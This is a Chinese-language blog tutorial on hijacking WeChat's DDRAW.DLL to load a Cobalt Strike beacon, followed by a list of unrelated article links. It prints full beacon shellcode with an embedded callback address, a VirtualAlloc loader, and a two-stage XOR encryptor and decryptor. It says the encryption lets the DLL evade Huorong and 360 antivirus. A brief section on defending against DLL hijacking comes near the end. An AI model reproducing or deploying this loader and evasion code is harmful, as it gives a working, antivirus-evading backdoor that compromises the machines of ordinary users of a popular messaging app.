看我如何用微信上线CobaltStrike
前言
DLL劫持漏洞是老生常谈的一个漏洞,已经被前辈们各种奇技淫巧玩烂。但DLL劫持技术在后渗透和域渗透中的权限提升和权限维持都起到了至关重要的作用。本文简单剖析DLL劫持技术并通过实例应用来查看如何在渗透工作中利用此项技术。篇幅稍长,各位读者耐心观看,文中有不妥之处请各位加以斧正。
DLL劫持原理
什么是DLL?
DLL是动态链接库文件,在Windows系统中,应用程序并不是一个完整的可执行文件,它需要调用对应的DLL来完成相应的功能。一个应用程序可以使用多个DLL,一个DLL可以被多个应用程序使用。
DLL劫持漏洞产生原因
开发者在调用DLL时没有指定绝对路径,那么Windows就会按照特定的顺序去查找DLL,因此,黑客如果能够优先将DLL置于有效目录,就能够欺骗系统加载恶意DLL,实现DLL劫持。
如上图,应用程序执行需调用LPK.dll,该DLL在"C:Windowssystem32"目录下,但是由于系统优先搜索当前目录"C:UserspcDesktop",所以如果当前目录存在恶意的DLL,程序会优先加载,从而导致漏洞产生。
Windows中应用程序搜索DLL的顺序
Window中默认搜索DLL的顺序为:
1.程序所在目录
2.系统目录即 SYSTEM32 目录。
3.16位系统目录即 SYSTEM 目录。
4.Windows目录。
5.加载 DLL 时所在的当前目录。
6.PATH环境变量中列出的目录。
为了应对DLL劫持漏洞,微软在Windows7以上的版本将一些容易受到劫持的DLL写入了注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs中,在此项中的DLL都被禁止从程序所在目录调用,而只能从系统目录"C:WindowsSystem32"中调用。
不过终究是治标不治本,事实上攻击者只需要查找KnownDLLs注册表项中不存在且被应用程序调用的DLL,即可绕过这一限制。
DLL劫持的一般步骤
劫持Windows应用程序的DLL一般需要以下步骤:
1.启动应用程序
2.使用ProcessMonitor等工具查看应用程序启动后加载的DLL
3.从加载的DLL中筛选出不存在于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs注册表项中的DLL
4.编写劫持代码生成劫持DLL
5.将编写好的DLL置于程序目录中并重新启动程序
6.查看是否劫持成功
如何利用DLL劫持微信并上线CS
这里我们通过劫持最新版微信,来更直观的认识和了解DLL劫持漏洞的利用。
DLL选择
首先下载安装最新版微信并运行,使用ProcessMonitor查看微信运行后调用的DLL情况。
Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
这里我们需要将图示红框中的功能关闭,它们分别是注册表监控、网络监控、进程线程监控,我们只需要监控文件系统。
接下来我们需要筛选出微信程序的文件监控,在Filter中选择Filtel..,创建如下规则:
添加并应用规则后,我们可以更直观地观察微信程序调用DLL的情况。存在劫持漏洞的DLL一般存在以下几个特征:
不在注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中
先从程序当前目录调用,并在搜索不到后进入系统目录调用
这里发现有几个DLL符合特征,我们选择DDRAW.DLL进行测试:
测试发现劫持某些DLL会导致微信退出时崩溃,建议在测试环境测试后再投入实战
事实上,对于在可能存在劫持漏洞DLL的查找上面已经有相关的懒人工具,如DLL Hijacking Auditor、rattler、DLLHijack_Detecter等等,但相应的存在一定的误报率和运行问题。
劫持DLL制作
编写一个劫持DLL,需要两个步骤:
查看被劫持DLL的导出函数表
编写实现劫持DLL向原DLL的函数转发,并在过程中加入你的恶意代码
这对不熟悉编程技术的安全从业者来说是一个复杂的过程,但我们可以使用AheadLib或DLL_Hijacker.py这两款工具来生成相应的cpp代码,只要简单加入我们的劫持代码并重新编译出DLL即可。(个人喜欢使用后者来生成代码,原因有二,一是python脚本使用方便,二是AheadLib使用易语言编写,杀软对易语言程序不友好。两款工具工作笔者都已测试,编译生成的DLL皆完好可使用)
工具下载地址:
AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
DLL_Hijacker:https://github.com/coca1ne/DLL_Hijacker
这里我们利用DLL_Hijacker.py生成对应的cpp代码:
python DLL_hijacker.py c:\Windows\SysWOW64\ddraw.dll
接下来我们在VS2015中新建项目,创建c++空项目,命名为DDRAW:
在项目属性中我们需要进行简单设置,将配置类型改为动态库(.dll),MFC的使用改为在使用标准Windows库,目标文件扩展名改为.dll
MFC的使用选择在静态库中使用MFC会将相关代码写入DLL中,可以运行在没有相关DLL的系统中,但是缺点是生成的DLL体积较大,选择此选项保证DLL在不同系统中可以正常运行。
在项目的源文件中新建DDRAW.cpp文件,并将DLL_hijacker.py生成的cpp代码粘贴过来后编译:
然后我们将编译好的DLL放入微信程序目录中,并重新启动微信,可以发现劫持成功:
DLL劫持到CS上线
当然我们并不能满足于单纯的弹框,我们需要利用此漏洞来实现权限维持。
首先cs生成shellcode:
在代码中申请执行内存并执行我们的shellcode,核心代码如下:
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x37\x6d\x44\x74\x00\x0e\x10\x00\x9d\x32\xdc\x4d\xa3\xd2\x4c\x42\xbb\x3a\x26\x92\x3a\xea\xd9\x2c\x08\x8a\xaa\x18\xd3\x3b\x30\xcc\xe4\x01\x3a\xe7\x36\x68\x6a\x0b\x0a\x16\xe5\xc2\xc2\xfb\x17\x53\xdd\x85\x34\x49\x4d\xe3\x57\xb6\x53\xf5\xd9\xfc\xbc\xbf\x61\x42\xd1\x17\xb1\x93\x36\x65\xd9\x78\x54\xc4\x8f\x9c\x76\xa9\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x32\x29\x0d\x0a\x00\x84\xdc\xd4\xde\x3c\x35\x45\x34\xdd\x7c\xcf\x75\x18\x5d\x7b\x82\xb5\xc7\x62\x1b\xc1\x6a\x9b\x85\x4e\x21\x82\x75\x88\x8d\xb2\x9a\x49\x4d\x07\xc7\x4d\x9d\x0c\xc4\xb6\xc6\x3e\xec\xc5\x12\x13\xfc\x00\x94\x17\xa6\xdf\x3e\xa1\x6a\xa9\x47\xb7\xc7\x63\x72\xba\xae\x8a\x37\xf1\x2a\xac\x5d\x5c\x59\x83\x7b\xa1\xf5\xfc\x9b\x52\x28\xb4\x5a\x13\x65\xc3\xe0\x59\x1e\xd0\xe5\x33\x8e\x4f\x5f\x1f\x0c\x84\xcd\xf6\x78\x76\x26\xfa\x4c\xaa\xc5\x7d\x13\x93\x9d\x47\x84\x53\xb8\xa3\x7a\x29\xf9\xc1\x47\x0a\xdd\xfc\x80\x04\xae\xa8\xeb\x64\xa3\xb6\xb0\x7f\x1f\xd7\x56\x31\x87\xc8\x8b\x60\x39\x3c\xed\xb8\xa9\x7e\x5b\xbe\x07\xe1\x0f\x7b\xc3\x88\xe2\x8d\xc9\xb7\x03\x6a\xd3\xd6\x3a\x34\x4a\xb8\x36\x6f\x0a\xdb\x8c\xf5\x23\x95\xb0\x15\x30\xfc\x33\xa2\x2c\x63\x69\x12\xbb\x98\x9e\xf6\x4d\x82\xaa\xca\x72\x51\x1f\xca\x10\x44\x65\xb1\xd9\xd6\x7d\xc9\xaa\x0d\x0e\xda\xdb\x88\x4b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
然后创建线程并在主函数dllmain中执行即可。将编译好的DLL置于微信目录,重启微信,此时CS成功上线:
绕过杀软上线CS
在实际环境中,shellcode可能会被杀软识别查杀,我们还需要对shellcode进行免杀处理。我们可以把shellcode加密处理,执行的过程中再进行解密,此时shellcode便具有一定的免杀能力。也可以对shellcode进行分段多重加密再分段解密,免杀效果会更好。
在安装了杀毒软件的环境中,DLL编译完成后被查杀:
我们考虑通过加密的方式将我们的shellcode隐藏。 这里我们新建工程,在代码中,我们使用XOR方式将shellcode分段加密,利用程序获取加密后的shellcode,核心代码如下:
#define KEY 0x99 //第一段XOR key
unsigned char ShellCode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x53\x58\x6c\x45\x00\x81\x43\xba\xf6\x98\x63\x16\xc9\x6a\x76\x08\xd9\xa1\x22\x06\xb9\x91\xae\xf2\x9c\x43\x54\x45\x60\x4d\xca\x7d\x34\x1d\x0d\xcc\xe9\x9b\xe3\x8b\xb5\xa2\x18\xf8\x88\x22\x0b\x29\xdb\x90\x31\xb6\x82\x96\xc4\x18\x74\x66\x42\x0a\xef\x66\x40\x14\xf5\x9e\x6d\x93\x2b\xcb\x33\x3a\xf4\xbf\x27\x74\xd7\x81\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x82\x79\xfd\xc6\xc5\xfc\x18\x09\xf1\x8d\xda\x55\xf4\x79\x75\x7d\x85\xf7\x98\x75\x65\xaa\xe7\xee\xb4\x9c\xed\x10\x87\x33\x38\x34\x6f\x2e\x6c\x83\x0a\x78\x28\x58\x1f\x91\x58\x50\x73\xca\x05\x6a\xf0\xe3\x12\x9e\x31\x5d\xbf\x02\xb1\x8b\xf5\x8e\xc9\x3a\xee\x97\x3a\x9a\x6b\x32\x3d\xd1\x31\x63\x3f\xeb\xd0\xe0\xa0\x5d\x00\xb9\xd9\xe6\x7e\x0a\x89\xd6\xcf\x94\xa7\x3c\x74\xea\x2c\x69\xec\x54\x39\xe1\x66\xbb\x83\xa9\x2b\x0d\xe0\xe0\xc7\xcd\xa9\x88\x5b\x06\x84\xfa\x87\xf7\x84\x03\x0c\xa7\xb0\xaa\x3b\x09\xea\xf0\x6b\xce\x9c\xa2\xf4\xec\x21\x8b\x5c\x12\xae\x93\xb9\x2e\xd6\x3f\x15\x8e\xa1\x46\xec\x87\x72\x2f\x70\xd7\x4e\xe9\x5c\x24\x56\xab\xce\xae\x5e\xd2\x0b\x7a\x56\x12\xdd\x5a\x33\x7c\x8b\x23\x4e\x32\xc0\xac\x90\x89\xec\xab\xd6\x3c\x9c\x34\xd0\xd0\x56\x52\xed\xf0\xc9\x3a\xe4\x8a\x9e\x9d\x87\xe9\x51\x19\xec\xa6\xf1\x7f\x19\xa2\x52\x69\x03\x22\x3e\xc2\x44\xc8\x42\x6c\xa7\x1c\x54\x98\x78\x33\x6d\xe3\xb4\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";
int main()
{
unsigned char enShellCode1[sizeof(ShellCode)];
unsigned char enShellCode2[sizeof(ShellCode)];
for (int i = 0; i < sizeof(ShellCode) - 501; i++)
{
enShellCode1<i> = ShellCode<i> ^ KEY; //第一段XOR加密
printf("\\x%x", enShellCode1<i>); //获取第一段加密结果
}
char key[] = "chris"; //第二段XOR key
int j = 0;
for (int i = sizeof(ShellCode) - 501; i < sizeof(ShellCode)-1; i++)
{
if (j == sizeof(key) - 1)
j = 0;
enShellCode2<i> = ShellCode<i> ^ key[j]; //第二段XOR加密
j++;
printf("\\x%x", enShellCode2<i>); //获取第二段加密结果
}
return 0;
}
拷贝结果,替换劫持代码中的shellcode,并在执行函数中将我们的原始shellcode解密出来,核心代码如下:
#define KEY 0x99 //第一段key
unsigned char shellcode[] = "\x65\x71\x10\x99\x99\x99\xf9\x10\x7c\xa8\x4b\xfd\x12\xcb\xa9\x12\xcb\x95\x12\xcb\x8d\x12\xeb\xb1\x96\x2e\xd3\xbf\xa8\x66\xa8\x59\x35\xa5\xf8\xe5\x9b\xb5\xb9\x58\x56\x94\x98\x5e\x7b\x69\xcb\xce\x12\xcb\x89\x12\xdb\xa5\x98\x49\x12\xd9\xe1\x1c\x59\xed\xd3\x98\x49\xc9\x12\xd1\x81\x12\xc1\xb9\x98\x4a\x7a\xa5\xd0\x12\xad\x12\x98\x4f\xa8\x66\xa8\x59\x35\x58\x56\x94\x98\x5e\xa1\x79\xec\x6d\x9a\xe4\x61\xa2\xe4\xbd\xec\x7b\xc1\x12\xc1\xbd\x98\x4a\xff\x12\x95\xd2\x12\xc1\x85\x98\x4a\x12\x9d\x12\x98\x49\x10\xdd\xbd\xbd\xc2\xc2\xf8\xc0\xc3\xc8\x66\x79\xc1\xc6\xc3\x12\x8b\x72\x1f\xc4\xf1\xf7\xfc\xed\x99\xf1\xee\xf0\xf7\xf0\xcd\xf1\xd5\xee\xbf\x9e\x66\x4c\xa8\x66\xce\xce\xce\xce\xce\xf1\xa3\xcf\xe0\x3e\x66\x4c\x70\x1d\x99\x99\x99\xc2\xa8\x50\xc8\xc8\xf3\x9a\xc8\xc8\xf1\x21\xbb\x99\x99\xca\xc9\xf1\xce\x10\x6\x5f\x66\x4c\x72\xe9\xc2\xa8\x4b\xcb\xf1\x99\x9b\xd9\x1d\xcb\xcb\xcb\xca\xcb\xc9\xf1\x72\xcc\xb7\xa2\x66\x4c\x10\x5f\x1a\x5a\xc9\xa8\x66\xce\xce\xf3\x66\xca\xcf\xf1\xb4\x9f\x81\xe2\x66\x4c\x1c\x59\x96\x1d\x5a\x98\x99\x99\xa8\x66\x1c\x6f\xed\x9d\x10\x60\x72\x90\xf1\x33\x5c\x7b\xc4\x66\x4c\x10\x58\xf1\xdc\xb8\xc7\xa8\x66\x4c\xa8\x66\xce\xf3\x9e\xc8\xcf\xc9\xf1\x2e\xce\x79\x92\x66\x4c\x26\x99\xb6\x63\x68\x4b\xae\x7\xd4\x59\x8d\x80\xe2\x62\x68\x72\x80\xba\x62\x68\x72\x81\xf8\x9c\x97\x8d\x46\x20\x3b\x4\x37\x69\xf2\x20\xd2\x84\xf1\x10\x75\xa1\x18\x1f\x7b\xba\xc9\x50\x6f\xca\xf2\xc6\x80\xf5\x30\x37\x2d\x12\x24\xb9\x1e\x5c\x6f\x64\xbf\x8a\xf3\x91\xe2\xc6\xc1\x70\x8a\xe1\x51\x68\x41\xa9\xf9\x42\xd5\xea\xe4\xad\x6b\x17\xe\x30\x63\x9c\x5\x28\x66\x9c\xed\xe\xfb\x59\xa2\x40\x59\x9c\xcd\x4e\x7\xb4\xe9\x72\x3c\x0\x6\x1a\x5f\x28\x14\x6\x6\x6\x53\x53\x2e\x7\x8\x0\x1f\xf\x9\x5d\x5c\x5d\x53\x48\x5a\xa\x1c\xe\x18\x13\x1d\x1a\x1\x4\x17\x52\x53\x2e\x3b\x3b\x2c\x53\x5a\x46\x42\x52\x53\x34\x1\x1c\xd\x1c\x14\x1b\x52\x27\x27\x43\x5e\x5c\x59\x48\x43\x3c\x0\x0\x17\x6\x6\x6\x46\x46\x4d\x58\x5b\x64\x79\x63\xea\xb\x94\xb5\xa6\x94\x6a\x60\x82\xee\xb2\x27\x9d\xa\x16\x15\xf7\x9e\xeb\x16\xd\xd8\x8e\x9d\xd7\xf4\x9f\x79\xf4\x50\x50\x46\x6\x5d\xf\xeb\x78\x11\x5b\x3b\x77\xe3\x31\x23\x10\xa2\x77\x3\x83\x80\x7a\xec\x58\x2e\xdc\x6a\xc3\xe2\x86\xed\xa1\x48\x87\xe4\x59\xf2\x19\x5b\x4e\xb2\x59\x11\x56\x98\xb3\x88\xd2\x34\x73\xda\xb1\x94\x17\x79\xea\xbe\xbd\xfd\xd4\x5f\x1c\x98\x45\x1a\x8f\x3c\x4b\x88\x15\xd8\xeb\xdb\x42\x7e\x83\x88\xb5\xa4\xda\xeb\x33\x74\xed\x89\xe4\x9f\xf6\x6a\x7f\xc4\xd8\xd8\x52\x7a\x89\x98\x19\xa7\xef\xc1\x9c\x9e\x48\xf8\x3f\x7a\xdc\xfa\xca\x4d\xbe\x4d\x7c\xfd\xc2\x2e\x9e\xee\x1\x4c\x18\xa5\x27\x9a\x3f\x4c\x24\xc2\xbd\xcd\x36\xa0\x62\x9\x35\x7a\xaf\x33\x40\x1f\xe3\x51\x27\x41\xa3\xc4\xe2\xe0\x9f\xc8\xbe\x4e\xf5\x47\xb3\xb8\x24\x3b\x9e\x93\xa1\x48\x8d\xf9\xfd\xf5\xf5\x80\x22\x7a\x84\xd4\x98\xc\x7a\xca\x20\x0\x70\x41\x56\xb0\x2d\xbb\x21\x4\xd5\x75\x27\xfb\x10\x41\x4\x90\xd7\x68\x1a\x99\xc6\xc1\x3e\x8d\xbc\x19\x23\x0\x72\x79\x73\x63\x0\x72\x69\x33\x63\x3f\x1a\x31\xd7\x30\x8d\x8d\xbc\xe0\xda\x68\x72\x69\x73\x62\xb1\x23\x3a\xfa\x84\x3f\x1a\x69\x53\x63\x68\x21\x3f\x1b\x71\xfe\xfb\x8b\x8c\xb6\xed\xb2\x1d\xb5\xe8\x6f\x73\xaa\xf6\xa3\x1d\x97\x31\xb0\x8b\xc1\x8f\x96\x8c\x52\x51\x40\x47\x42\x55\x50\x5c\x58\x46\x54\x46\x43\x5a\x47\x63\x7a\x46\x3f\xb";
unsigned char shellcode2[sizeof(shellcode)];
char key[] = "chris"; //第二段key
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
for (int i = 0; i < sizeof(shellcode) - 501; i++)
{
shellcode2<i> = shellcode<i> ^ KEY; //解密第一段
}
int j = 0;
for (int i = sizeof(shellcode) - 501; i < sizeof(shellcode) - 1; i++)
{
if (j == sizeof(key) - 1)j = 0;
shellcode2<i> = shellcode<i> ^ key[j]; //解密第二段
j++;
}
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode2, sizeof(shellcode2));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
此时,我们的DLL编译完成后已经不会被杀软查杀,将DLL放入微信目录中,启动微信:
成功上线,执行命令,火绒与360均无反应。
其他玩法
当然DLL劫持还有很多其他玩法,如利用InjectProc实现自动注入,backdoor-factory免杀结合MSF上线,IAT导入表注入劫持,权限提升等,篇幅有限,这里不作赘述,各位可自行尝试。
工具链接:
InjectProc:https://github.com/secrary/InjectProc/releases
backdoor-factory:https://github.com/secretsquirrel/the-backdoor-factory
IAT:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ 提取码:c29j
如何防范DLL劫持
对于DLL劫持漏洞产生的原因,并不能单一的归咎于微软,只能说这是微软的一个“设计缺陷”,要从根本上防御DLL劫持漏洞,除了微软提供的“安全DLL搜索模式”和“KnownDLLs注册表项”机制保护DLL外,开发人员必须要做更多来保护应用程序自身。开发过程中,调用LoadLibrary,LoadLibraryEx等会进行模块加载操作的函数时,使用模块的物理路径作为参数。在程序调用DLL时使用“白名单”+ “签名”进行DLL的验证。 不过即使使用了这些防御措施,DLL劫持漏洞依旧可能会存在,更何况目前很多厂商对于DLL劫持漏洞都是持“忽略”的态度。
参考资料
DLL劫持原理与实践
老树开新花:DLL劫持漏洞新玩法
Dll劫持漏洞详解
看我如何用微信上线CobaltStrike的更多相关文章
- 12306抢票带来的启示:看我如何用Go实现百万QPS的秒杀系统
本文为开源实验性工程:“github.com/GuoZhaoran/spikeSystem”的配套文章,原作者:“绘你一世倾城”,现为:猎豹移动php开发工程师,感谢原作者的技术分享. 1.引言 Go ...
- 如何用微信小程序,每天给自己赚个鸡腿?
假期如果实在无聊的话,那跟随田同学的脚步上架一个小程序吧. 话说:谁不想拥有一个自己的小程序呢?既可以赚点小钱又可以长长见识. 不懂小程序的小白能不能做出来呢?那来对了,这个教程就是针对小白的. 今天 ...
- Windows上能看朋友圈的微信来了 | 附下载地址
昨天的时候,电脑端的微信提示更新就顺手更新了一下,更新完成后习惯性的点了下设置,纳尼,居然被灰到了测试版本? 带着好奇,赶快看了下更新了什么内容: 支持浏览朋友圈 "搜一搜"支持搜 ...
- 看StackOverflow如何用25台服务器撑起5.6亿的月PV(微软的架构)
问答社区网络 StackExchange 由 100 多个网站构成,其中包括了 Alexa 排名第 54 的 StackOverflow.StackExchang 有 400 万用户,每月 5.6 ...
- 看StackOverflow如何用25台服务器撑起5.6亿的月PV
问答社区网络 StackExchange 由 100 多个网站构成,其中包括了 Alexa 排名第 54 的 StackOverflow.StackExchang 有 400 万用户,每月 5.6 亿 ...
- 【转载】看StackOverflow如何用25台服务器撑起5.6亿的月PV
问答社区网络 StackExchange 由 100 多个网站构成,其中包括了 Alexa 排名第 54 的 StackOverflow.StackExchang 有 400 万用户,每月 5.6 亿 ...
- 如何用微信小程序模仿豆瓣首页
程序思路: 用微信自带组件swiper来实现轮播图 用豆瓣提供的api(这里使用的电影api)来获取最近的电影数据[豆瓣api地址] 获取数据用微信的request方法,只需要提供豆瓣api的url链 ...
- 看CarbonData如何用四招助力Apache Spark
摘要:CarbonData 在 Apache Spark 和存储系统之间起到中介服务的作用,为 Spark 提供的4个重要功能. 本文分享自华为云社区<Make Apache Spark bet ...
- 微信收藏了很多语音,有一些比较有意义的,但是发现只能收藏在微信,没有办法导出了,请大神看清楚,是微信【收藏】的语音,ios或者安卓的方法都可以
随机推荐
- (二)廖师兄springboot微信点餐虚拟机说明文档
虚拟机 VirtualBox-5.1.22 系统 CentOS7.3账号 root密码 123456 软件:jdk 1.8.0_111nginx 1.11.7mysql 5.7.17redis 3. ...
- 对App应用架构搭建的一些思考
当下随着App开发技术的越来越成熟,多人协同开发必不可少,一个团队中每个人的代码风格.技术栈都存在差异,因此统一一套成熟的开发架构必不可少,可以提高开发效率.统一代码风格.为项目维护提供便利. 当下A ...
- cnblog markdown 模式下调整图片大小
流程 上传图片,获得图片链接,例如 ![](https://img2020.cnblogs.com/blog/2163507/202010/2163507-20201030205035211-7968 ...
- 【C++】递归之二分查找
简单查找的时间复杂度为O(n) 二分查找的时间复杂度为O(logn) 用递归实现二分查找: 基线条件:数组只包含一个元素.如果如果要查找的值与这个元素相同,就找到了:否则说明不在数组中. 递归条件:把 ...
- HDU100题简要题解(2060~2069)
这十题感觉是100题内相对较为麻烦的,有点搞我心态... HDU2060 Snooker 题目链接 Problem Description background: Philip likes to pl ...
- NVM、NPM、Node.js的安装选择
在安装和使用这三种工具时,我们有很多方式可以选择,这些方法各有优劣,每个人都有自己用起来比较习惯的配置,所以我在这里记录下自己比较习惯的一种安装方式与其他一些可能的选项. NVM.NPM.Node.j ...
- android下vulkan与opengles纹理互通
先放demo源码地址:https://github.com/xxxzhou/aoce 06_mediaplayer 效果图: 主要几个点: 用ffmpeg打开rtmp流. 使用vulkan Compu ...
- [原题复现]BJDCTF2020 WEB部分全部解
简介 原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学 ...
- k8s内网安装部署(二)
续上篇 https://www.cnblogs.com/wangql/p/13397034.html 一.kubeadm安装 1.kube-proxy开启ipvs的前置条件 modprobe br_n ...
- Non Super Boring Substring 题解(hash+思维)
题目链接 题目大意 给你一个长度为d(d<=1e5)的字符串,要你求有多少个子串满足这个子串不包含长度大于等于k的回文子串 题目思路 首先可以hash预处理,然后O(1)用前缀hash值和后缀h ...